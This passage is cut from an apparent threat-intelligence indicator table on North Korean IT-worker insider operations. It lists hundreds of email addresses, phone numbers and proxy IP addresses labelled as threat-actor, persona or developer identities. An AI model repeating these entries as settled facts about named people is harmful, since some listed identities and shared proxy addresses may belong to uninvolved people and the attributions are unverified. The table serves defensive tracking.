| Threat actor-controlled email | 1 |\n| `silverbead0815@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `silverbead0815@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `su0220@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `superth55@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `truelife3188@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `vickydev1018@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `victm1121@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `wangsmithsilverstar@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `8613341122552` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `8618811177571` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `8617701222967` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `8618911321235` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `8619910229812` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `8613381035676` | phone number | insider | N/A | N/A | Mobile number of China-based cell member | 1 |\n| `tinsimonov@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `bogomildaskalov001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `blazhejovanovska@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `sarloevtim39@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `antonisharalampopoulos@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `aleksandarradakovic122@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `krstoilovski@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `filipbackus@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `belarosviska@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ladislav.kvarda525@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `novskapetar@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `peceyurukov@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nikolamilev166@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `emil.rysinov@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vinkolukac.dev@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `valentincinika@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `bosevskibale6@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vlanosdimitri001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `PeterVargova@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vlastimirdeskov001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `aidaszvikas@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `trendafilmakedonija001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dmitrycebotari@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `chrisgergo00@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `briangaida12@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `wiktor.rogal@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `michalcopik1@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `albertdymek@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dobromirkovachev@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `toma.andric@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `danielmonilis@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vladimirvoski001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kolyotroske001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `borissudar.cro@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `bodorbenci@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ivoloucky@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `yorgosdulev@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `balazspapp@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `juliankopala.pol@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nanusevskitodor@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ediurmankovic.cc@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vuksanbojanic@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `barry__johnson@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `gary__leduc@hotmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `adamikjelen@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ionguzlok@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `antonijakub11@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `leonidasnefeli@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `alexandrurusu2@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `adrianceban1@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `florinbarbu1@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `danielsala2@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ivanhorvat2@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nikolastojanovski2@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `gabrieltamas1@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `victorajdini@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `gavrilvasilevski001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `stojannastevski001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `emirapolloni@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `gorantomik1@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `jonasvarga1@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dzholedinkov001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `LaszloEniko@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `lazarbulatovic56@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `emilkokolnska@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `iacovlevguzun@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dovydasmatis@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `tomaskovacova@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `antoninowak12@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `erikslamka1@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kostasmichalakakou@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `jokubasbieliauskas1@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `stoilesideropoulos001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `damjandobrudzhanski@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kutayijaz@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `simeondimitris001@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `bobituntev001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `velyokazepov@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nestorovskiemilija100@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ankaankahristov@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `randoviska@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `borislavbabic431@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `benicdominik81@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `teoantunovic6@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `popovicjelena727@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vaskovdime@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `jozefmtech@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `archelaosasani@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `janlindberg80@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nevenborisov@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `toni.komadina@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `damianwalczak.work@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `denis.dobrovodsky@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `filip.lovren@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `tomislavjurak@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `emilijan.hristov@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `zoran.parlov@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ivanmatic.fs@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `marcelpaw.lowski@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `tomislavbozic.work@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dominik.wojk@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `piotrglowacki.pol@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `leonzielinski.pol@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `stanislav.timko@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `oleg.kaplanski@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `rafael.ratkovic@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `mateusz.moczar@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `nadoyankovic@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `dionizy.kohutek@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `emilsvalina@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kostic.gordan@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `josipbraut@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `mirantrkulja@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `pavlehristov.work@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vedranpodrug@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `zvonkobogdan.cr@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `filipdamevski001@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `albertoszlar52@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `benjaminellertsson@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `fedorkadoic@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `izakholmberg12@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `markusvillig20@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `reigojakobson45@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `masudtarik69@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vaikokangur45@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `osogovskiplanini001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `aleksonikov001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `angelovaandreev@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ivanopavic13@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `davorsabolic2@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `juricleon407@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kondradgodzki@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `velizarborisov.fs@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `trivuniliikc519@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `alexandermori1218@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `smupyknight@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `btrs.corp@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `byolate@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `starneit105@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `chrissamuel729@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `lozanvranic@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `qoneits@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `kitdb@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `d.musatovdv@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `nikola.radomic322@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `duykhanh.prodev@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `chebiinixon91@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `jeffukus@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `mohamed_dhifli@hotmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `saputranady@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `ryannguyen0303@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `fahrultect@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `patrickjuniorukutegbe@rocketmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `fahrultech@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `mirzayevorzu127@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `tsunaminori@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `yhwucss@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `btrs.corp@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `ledanglong@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `cwertlinks@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `bukoyesamuel9@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `gwanchi@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `efezinoukpowe@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `thnam0107@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `vijanakaush@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `luis.miguel208@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `smupyknight@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `brankojovovic99@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `manuetuazon.work@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `upwork.management.whm@outlook.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `1.20.169.90` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.106.112.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.152.100.221` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.155.199.28` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.174.81.10` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.190.171.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.39.70.248` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `107.178.11.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `107.189.8.240` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `113.160.133.32` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `115.72.1.61` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `117.1.101.198` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `121.132.60.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `125.26.238.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `139.178.67.134` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `14.225.215.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `143.110.226.180` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `144.217.207.22` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `146.190.114.113` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `147.28.155.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `148.72.168.81` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.34` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.46` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.47` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.94` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `153.92.214.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `157.245.59.236` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `171.228.181.120` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `171.99.253.154` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `172.105.247.219` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `173.255.223.18` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `178.63.180.104` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `179.1.195.163` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `184.168.124.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `193.227.129.196` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `193.38.244.17` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `194.104.136.243` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `194.164.206.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `195.159.124.57` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `195.85.250.12` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `2.59.181.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `200.24.159.153` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `200.60.20.11` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `203.150.128.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `204.12.227.114` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `222.252.194.204` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `222.252.194.29` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `23.237.145.36` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `31.41.216.122` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `34.122.58.60` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `37.210.118.247` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `37.46.135.225` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `38.158.202.121` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `38.183.146.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `4.7.147.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.119.114.203` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.144.166.24` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.189.252.218` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.81.115.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `47.220.151.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `50.6.193.80` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `51.159.75.249` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `54.37.207.54` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `57.128.201.50` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `61.198.87.1` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `64.92.82.58` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `64.92.82.59` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.227.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.227.227` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.228.253` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.236.19` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.236.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.160.171` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.160.92` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.164.178` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `74.255.219.229` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `82.180.146.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `94.23.153.15` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `95.182.97.53` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `ryan.service.1001@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `dmbdev800@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `kari.dev1217@gmail` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `iamjanus66@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `4696382784` | phone number | insider | N/A | N/A | Threat actor persona phone number | 3 |\n| `brianyoung.luck@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `codingwork.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jinwangdev531@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gdavisiv.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicolas.edgardo1028@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeilucky23@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aleksey0753@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `develop498@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `4899432@qq.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `karsonova1703@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maximmironenkoreact@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vitalyandronuke@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeysamsonofff@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `realnitii1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `devnitin18@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexiyevaj@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `initinbhardwaj@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anna.putinarus@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rajukumar127.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kekisevu@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anastasiaanufriyenko@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `andriimalyshenko@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gabrygreg1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luckydev2289@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `forfuture21@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darbylee923@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexei.lee0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `yuriassasin0603@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luis.lee.tech@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `bryanjsmiranda@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luislee.software@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `panda95718@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `givometeq@mentonit.net` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| 